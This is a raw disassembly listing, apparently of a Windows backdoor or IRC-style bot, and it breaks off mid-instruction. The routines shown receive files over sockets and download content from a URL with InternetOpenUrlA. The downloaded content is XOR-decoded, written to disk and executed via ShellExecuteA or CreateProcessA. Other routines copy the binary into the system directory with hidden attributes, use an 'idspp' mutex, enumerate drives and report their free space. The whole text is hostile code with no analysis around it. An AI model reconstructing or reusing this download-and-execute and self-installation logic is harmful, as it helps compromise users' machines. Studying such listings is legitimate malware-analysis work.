var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_40BB3E push offset dword_42BDA4 jmp short loc_40BB84 ; --------------------------------------------------------------------------- loc_40BB3E: ; CODE XREF: sub_40BAB4+81j push eax call dword_42106C ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_415BE8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40BB66 push offset dword_42BD60 jmp short loc_40BB84 ; --------------------------------------------------------------------------- loc_40BB66: ; CODE XREF: sub_40BAB4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40B4CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40BB97 push offset dword_42BD2C loc_40BB84: ; CODE XREF: sub_40BAB4+88j ; sub_40BAB4+B0j lea eax, [ebp+var_4C4] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40BC91 ; --------------------------------------------------------------------------- loc_40BB97: ; CODE XREF: sub_40BAB4+C9j mov esi, 1000h loc_40BB9C: ; CODE XREF: sub_40BAB4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43A3B0 ; recv mov edi, eax cmp edi, ebx jz loc_40BC63 cmp edi, 0FFFFFFFFh jz short loc_40BC04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4175FF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43A394 ; ntohl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43A3E8 ; send jmp short loc_40BB9C ; --------------------------------------------------------------------------- loc_40BC04: ; CODE XREF: sub_40BAB4+118j lea eax, [ebp+var_4C4] push offset dword_42BB34 push eax call sub_4154E7 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_412D4C lea eax, [ebp+var_4C4] push eax call sub_40B16D push [ebp+var_4] call sub_415B40 add esp, 24h push [ebp+arg_0] call dword_43A430 ; closesocket push [ebp+var_1C] call sub_4152AF pop ecx push 1 call dword_421048 ; ExitThread loc_40BC63: ; CODE XREF: sub_40BAB4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40C218 push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42BCD4 push eax call sub_4154E7 add esp, 1Ch loc_40BC91: ; CODE XREF: sub_40BAB4+DEj cmp [ebp+var_14], ebx jnz short loc_40BCB6 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_412D4C add esp, 14h loc_40BCB6: ; CODE XREF: sub_40BAB4+1E0j lea eax, [ebp+var_4C4] push eax call sub_40B16D cmp [ebp+var_4], ebx pop ecx jz short loc_40BCD1 push [ebp+var_4] call sub_415B40 pop ecx loc_40BCD1: ; CODE XREF: sub_40BAB4+212j cmp [ebp+arg_0], ebx jbe short loc_40BCDF push [ebp+arg_0] call dword_43A430 ; closesocket loc_40BCDF: ; CODE XREF: sub_40BAB4+220j push [ebp+var_1C] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread sub_40BAB4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCEF proc near ; DATA XREF: sub_40CE55+36E9o ; sub_40CE55+3E36o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43A348 call dword_43A2A8 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_40C17B push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_421078 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_40BDB6 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42C060 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40BD99 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40BD99: ; CODE XREF: sub_40BCEF+88j lea eax, [ebp+var_510] push eax call sub_40B16D push [ebp+var_48] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_40BDB6: ; CODE XREF: sub_40BCEF+68j xor edi, edi call dword_42104C ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_415DC9 pop ecx mov [ebp+var_1C], eax loc_40BDD0: ; CODE XREF: sub_40BCEF+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43A2B0 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_40BE14 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40C1E1 pop ecx pop ecx loc_40BE14: ; CODE XREF: sub_40BCEF+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_421070 ; WriteFile cmp edi, ebx jnb short loc_40BE52 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40BE3C mov eax, [ebp+arg_0] loc_40BE3C: ; CODE XREF: sub_40BCEF+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_4155D0 add esp, 0Ch loc_40BE52: ; CODE XREF: sub_40BCEF+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40BE5F cmp edi, [ebp+var_3C] ja short loc_40BEA9 loc_40BE5F: ; CODE XREF: sub_40BCEF+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40BE79 shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42C014 jmp short loc_40BE89 ; --------------------------------------------------------------------------- loc_40BE79: ; CODE XREF: sub_40BCEF+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42BFD0 loc_40BE89: ; CODE XREF: sub_40BCEF+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_43F328 push eax call sub_4154E7 add esp, 10h cmp [ebp+arg_0], esi ja loc_40BDD0 loc_40BEA9: ; CODE XREF: sub_40BCEF+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40BEFE cmp edi, [ebp+var_3C] jz short loc_40BEFE push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42BF88 push eax call sub_4154E7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C lea eax, [ebp+var_510] push eax call sub_40B16D add esp, 28h loc_40BEFE: ; CODE XREF: sub_40BCEF+1C4j ; sub_40BCEF+1C9j call dword_42104C ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_42106C ; CloseHandle push [ebp+var_1C] call sub_415E3D cmp [ebp+var_38], esi pop ecx jz short loc_40BF88 lea eax, [ebp+var_148] push eax call sub_40B459 cmp eax, [ebp+var_38] pop ecx jz short loc_40BF88 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42BF4C push eax call sub_4154E7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C lea eax, [ebp+var_510] push eax call sub_40B16D add esp, 28h loc_40BF88: ; CODE XREF: sub_40BCEF+241j ; sub_40BCEF+253j cmp [ebp+var_14], esi jz loc_40C1C8 cmp [ebp+var_44], 1 jz loc_40C083 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_421660 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_421660 fstp [esp+590h+var_590] push offset unk_42BF00 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40C003 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40C003: ; CODE XREF: sub_40BCEF+2F2j lea eax, [ebp+var_510] push eax call sub_40B16D cmp [ebp+var_40], 1 pop ecx jnz loc_40C1C8 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43A30C ; ShellExecuteA cmp [ebp+var_30], esi jnz loc_40C1C8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42BEC8 push eax call sub_4154E7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C lea eax, [ebp+var_510] push eax call sub_40B16D add esp, 24h jmp loc_40C1C8 ; --------------------------------------------------------------------------- loc_40C083: ; CODE XREF: sub_40BCEF+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_421660 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_421660 fstp [esp+590h+var_590] push offset unk_42BE74 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40C0EB push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40C0EB: ; CODE XREF: sub_40BCEF+3DAj lea eax, [ebp+var_510] push eax call sub_40B16D push 10h lea eax, [ebp+var_10] push esi push eax call sub_415570 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_415570 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_438FBC push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call dword_4210EC ; CreateProcessA cmp eax, edi jnz short loc_40C16D call dword_43A2F8 ; WSACleanup call sub_409E15 push esi call dword_421114 ; ExitProcess loc_40C16D: ; CODE XREF: sub_40BCEF+46Aj lea eax, [ebp+var_148] push eax push offset unk_42BE28 jmp short loc_40C187 ; --------------------------------------------------------------------------- loc_40C17B: ; CODE XREF: sub_40BCEF+45j lea eax, [ebp+var_248] push eax push offset unk_42BDE8 loc_40C187: ; CODE XREF: sub_40BCEF+48Aj lea eax, [ebp+var_510] push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40C1BB push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40C1BB: ; CODE XREF: sub_40BCEF+4AAj lea eax, [ebp+var_510] push eax call sub_40B16D pop ecx loc_40C1C8: ; CODE XREF: sub_40BCEF+29Cj ; sub_40BCEF+325j ... push [ebp+var_18] call dword_43A3CC ; InternetCloseHandle push [ebp+var_48] call sub_4152AF pop ecx push esi call dword_421048 ; ExitThread sub_40BCEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C1E1 proc near ; CODE XREF: sub_40BCEF+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40C1FD loc_40C1ED: ; CODE XREF: sub_40C1E1+1Aj mov dl, byte_42C19C xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40C1ED locret_40C1FD: ; CODE XREF: sub_40C1E1+Aj retn sub_40C1E1 endp ; =============== S U B R O U T I N E ======================================= sub_40C1FE proc near ; CODE XREF: sub_40CE55+293Cp ; sub_40CE55+2A93p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_417709 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40C1FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C218 proc near ; CODE XREF: sub_4063B0+45Dp ; sub_4063B0+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43E768 push 0 push edi call sub_415570 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40C23D: ; CODE XREF: sub_40C218+5Bj ; sub_40C218+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_417260 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_4172E0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40C27B inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40C23D mov byte ptr [esi], 2Ch inc esi jmp short loc_40C23D ; --------------------------------------------------------------------------- loc_40C27B: ; CODE XREF: sub_40C218+4Bj dec esi mov eax, edi loc_40C27E: ; CODE XREF: sub_40C218+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40C28D mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C28D: ; CODE XREF: sub_40C218+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40C218 endp ; =============== S U B R O U T I N E ======================================= sub_40C297 proc near ; CODE XREF: sub_40C443+51p ; sub_40C443+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43A3F8 ; GetDriveTypeA sub eax, 0 jz short loc_40C2DA dec eax jz short loc_40C2D4 dec eax dec eax jz short loc_40C2CE dec eax jz short loc_40C2C8 dec eax jz short loc_40C2C2 dec eax jz short loc_40C2BC mov eax, offset word_42B7C4 retn ; --------------------------------------------------------------------------- loc_40C2BC: ; CODE XREF: sub_40C297+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_40C2C2: ; CODE XREF: sub_40C297+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40C2C8: ; CODE XREF: sub_40C297+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40C2CE: ; CODE XREF: sub_40C297+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40C2D4: ; CODE XREF: sub_40C297+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40C2DA: ; CODE XREF: sub_40C297+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40C297 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2E0 proc near ; CODE XREF: sub_40C328+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43A294 test eax, eax jz short loc_40C315 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_40C315: ; CODE XREF: sub_40C2E0+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C328 proc near ; CODE XREF: sub_40AAD1+1F3p ; sub_40C443+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40C2E0 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40C400 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40C400 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40C400 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_417750 push edx push eax call sub_40C218 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_415A6A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_417750 push edx push eax call sub_40C218 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_415A6A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_417750 push edx push eax call sub_40C218 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_415A6A add esp, 18h pop ebx jmp short loc_40C42F ; --------------------------------------------------------------------------- loc_40C400: ; CODE XREF: sub_40C328+2Cj ; sub_40C328+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4154E7 lea eax, [ebp+var_118] push esi push eax call sub_4154E7 lea eax, [ebp+var_98] push esi push eax call sub_4154E7 add esp, 18h loc_40C42F: ; CODE XREF: sub_40C328+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C443 proc near ; CODE XREF: sub_40C515+17p ; sub_40C515+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40C328 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_415910 add esp, 10h test eax, eax jnz short loc_40C4B6 push ebx push ebx call sub_40C297 pop ecx push eax push offset dword_42C128 lea eax, [ebp+var_500] push 200h push eax call sub_415A6A add esp, 14h jmp short loc_40C4EA ; --------------------------------------------------------------------------- loc_40C4B6: ; CODE XREF: sub_40C443+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40C297 pop ecx push eax push offset dword_42C0D8 lea eax, [ebp+var_500] push 200h push eax call sub_415A6A add esp, 20h loc_40C4EA: ; CODE XREF: sub_40C443+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_500] push eax call sub_40B16D add esp, 18h pop edi pop esi pop ebx leave retn sub_40C443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C515 proc near ; CODE XREF: sub_40CE55+5216p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40C536 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C443 add esp, 10h jmp short loc_40C597 ; --------------------------------------------------------------------------- loc_40C536: ; CODE XREF: sub_40C515+9j push esi push edi push ebx push ebx call dword_43A308 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_415DC9 pop ecx mov edi, eax push edi push esi call dword_43A308 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40C58E loc_40C55A: ; CODE XREF: sub_40C515+77j push offset aA_0 ; "A:\\" push esi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40C57D push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C443 add esp, 10h loc_40C57D: ; CODE XREF: sub_40C515+54j push esi call sub_415CF0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40C55A loc_40C58E: ; CODE XREF: sub_40C515+43j push edi call sub_415E3D pop ecx pop edi pop esi loc_40C597: ; CODE XREF: sub_40C515+1Fj pop ebx pop ebp retn sub_40C515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59A proc near ; DATA XREF: sub_40C682+11o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43F534 call dword_43A430 ; closesocket call sub_41515C call dword_43A2F8 ; WSACleanup call dword_43A2F8 ; WSACleanup mov ebx, dword_421060 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415570 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_415570 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_438FBC mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_4210EC ; CreateProcessA test eax, eax jz short loc_40C65F push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_42106C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_40C65F: ; CODE XREF: sub_40C59A+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43E7A0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call dword_421114 ; ExitProcess pop edi pop esi pop ebx sub_40C59A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C682 proc near ; CODE XREF: sub_417AF8+C9p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = byte ptr -0E4h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_40C59A push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp cmp dword_42C190, ebx jz short loc_40C6B8 call sub_409F9D loc_40C6B8: ; CODE XREF: sub_40C682+2Fj mov esi, dword_42104C call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_468818, eax call esi ; GetTickCount push eax call sub_415539 pop ecx call sub_4089F2 push 2 call dword_43A444 ; SetErrorMode push 7530h push offset aIdspp ; "idspp" push ebx push ebx call dword_42112C ; CreateMutexA push eax call dword_421128 ; WaitForSingleObject cmp eax, 102h jnz short loc_40C70C push 1 call dword_421114 ; ExitProcess loc_40C70C: ; CODE XREF: sub_40C682+80j lea eax, [ebp+var_884] push eax push 202h call dword_43A310 ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_40CB6C cmp [ebp+var_884], 2 jnz loc_40CB66 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_40CB66 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_4210C8 ; GetModuleHandleA push eax call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_417348 lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp+var_5F4] push esi push eax call sub_415A6A lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_415AC0 add esp, 30h test eax, eax jnz loc_40C96F cmp dword_468988, ebx mov esi, offset byte_42C1FC jz short loc_40C807 push esi xor edi, edi call sub_415CF0 sub eax, 4 pop ecx jz short loc_40C807 loc_40C7E4: ; CODE XREF: sub_40C682+183j call sub_415543 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42C1FC[edi], dl inc edi call sub_415CF0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40C7E4 loc_40C807: ; CODE XREF: sub_40C682+152j ; sub_40C682+160j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset aSS_3 ; "%s\\%s" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_1E8] push eax call dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40C847 lea eax, [ebp+var_1E8] push 80h push eax call dword_4210F4 ; SetFileAttributesA loc_40C847: ; CODE XREF: sub_40C682+1B1j mov esi, dword_421124 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_40C85E: ; CODE XREF: sub_40C682+213j call esi ; CopyFileA test eax, eax jnz short loc_40C897 call dword_421088 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40C897 cmp eax, 20h jz short loc_40C878 cmp eax, 5 jnz short loc_40C897 loc_40C878: ; CODE XREF: sub_40C682+1EFj push 1 pop edi push 3A98h call dword_421060 ; Sleep lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_40C85E ; --------------------------------------------------------------------------- loc_40C897: ; CODE XREF: sub_40C682+1E0j ; sub_40C682+1EAj ... lea eax, [ebp+var_1E8] push eax call sub_409D4F pop ecx lea eax, [ebp+var_1E8] push 7 push eax call dword_4210F4 ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_415570 push 44h lea eax, [ebp+var_64] pop esi push esi push ebx push eax call sub_415570 add esp, 18h mov [ebp+var_64], esi mov [ebp+var_58], offset byte_438FBC mov [ebp+var_34], bx push 1 pop esi mov [ebp+var_38], esi call dword_421120 ; GetCurrentProcessId push eax push esi push 100000h call dword_42111C ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset dword_433150 push eax call sub_4154E7 add esp, 14h lea eax, [ebp+var_1C] push 